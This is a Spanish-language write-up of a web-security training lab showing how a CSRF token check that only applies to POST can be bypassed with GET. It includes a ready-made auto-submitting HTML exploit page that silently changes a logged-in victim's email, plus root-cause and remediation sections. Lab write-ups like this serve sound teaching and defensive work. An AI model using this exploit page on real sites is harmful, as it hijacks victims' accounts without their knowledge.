← Writeups

CSRF where token validation depends on request method

Bypass de protección CSRF cambiando el método HTTP: el servidor solo valida el token en POST, por lo que un formulario GET auto-submit cambia el email de la víctima.

Target Overview & Vulnerability Summary

El lab intenta proteger el cambio de email con un token CSRF, pero solo aplica la validación a ciertos métodos de request. La funcionalidad acepta GET para mutar el email; al enviar el formulario con método GET, el token ya no se valida y el cambio de estado se ejecuta igualmente.

Campo Valor
Severidad Media (cambio de estado autenticado cross-site)
Endpoint vulnerable /my-account/change-email (vía GET)
Root cause Validación de token CSRF dependiente del método HTTP — solo se verifica en POST

Credenciales del laboratorio: wiener:peter.

Technical Breakdown & Exploitation Flow

1. La protección legítima en POST

El formulario de cambio de email envía un POST con un token CSRF:

<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required="" type="email" name="email" value="">
    <input required="" type="hidden" name="csrf" value="jth5rZrNeODnhqIRAsBx0tS8pyZdXodd">
    <button class="button" type="submit"> Update email </button>
</form>

2. Exploit con método GET

La validación del token se aplica únicamente a POST. Se reutiliza el mismo formulario pero con method="GET": el parámetro csrf se omite, y como el servidor no exige token en GET, la mutación del email se ejecuta con la cookie de la víctima.

<html>
    <head>
        <title>CSRF-2</title>
    </head>
    <body>
        <form action="https://0a8100ca03a1ba588113a7d9008400c9.web-security-academy.net/my-account/change-email" method="GET">
            <input type="hidden" name="email" value="attacker@evil.com">
        </form>

        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Flujo de explotación:

  1. La víctima visita la página hosteada en el exploit server.
  2. El formulario GET se envía de forma automática; el navegador serializa los campos en el querystring.
  3. El servidor recibe GET /my-account/change-email?email=attacker@evil.com, no encuentra token que validar (o no lo exige para GET) y actualiza el email.
  4. La cookie de sesión viaja igualmente en la request.

Request resultante (equivalente):

GET /my-account/change-email?email=attacker@evil.com HTTP/2
Host: 0a8100ca03a1ba588113a7d9008400c9.web-security-academy.net
Cookie: session=<SESSION_ID>

Root Cause Analysis

La causa raíz es aplicar la defensa anti-CSRF de forma inconsistente por método HTTP. El servidor asume que solo POST (o los métodos que usa la propia UI) pueden mutar estado, y deja GET sin protección. Dado que el framework/endpoint procesa GET como una mutación válida, el atacante solo necesita cambiar el método del formulario para eludir la validación: el token nunca llega a ser inspeccionado. La regla de oro rota aquí es "todas las requests de cambio de estado deben validarse por igual, independientemente del método".

Secure Remediation

  • Validar el token CSRF en todos los métodos que pueden mutar estado (POST, GET, PUT, PATCH, DELETE), o más estrictamente, restringir la mutación a POST y validar el token en esa vía única:
# Servidor
def change_email():
    if request.method != "POST":
        abort(405)
    if request.form.get("csrf") != session["csrf_token"]:
        abort(403)
    # ... mutación del email
  • Nunca implementar la mutación en GET: contraviene la semántica HTTP (safe method) y convierte el endpoint en un vector CSRF trivial y cacheable.
  • Complementar con cookie SameSite=Lax/Strict y validación de Origin en las peticiones de cambio de estado.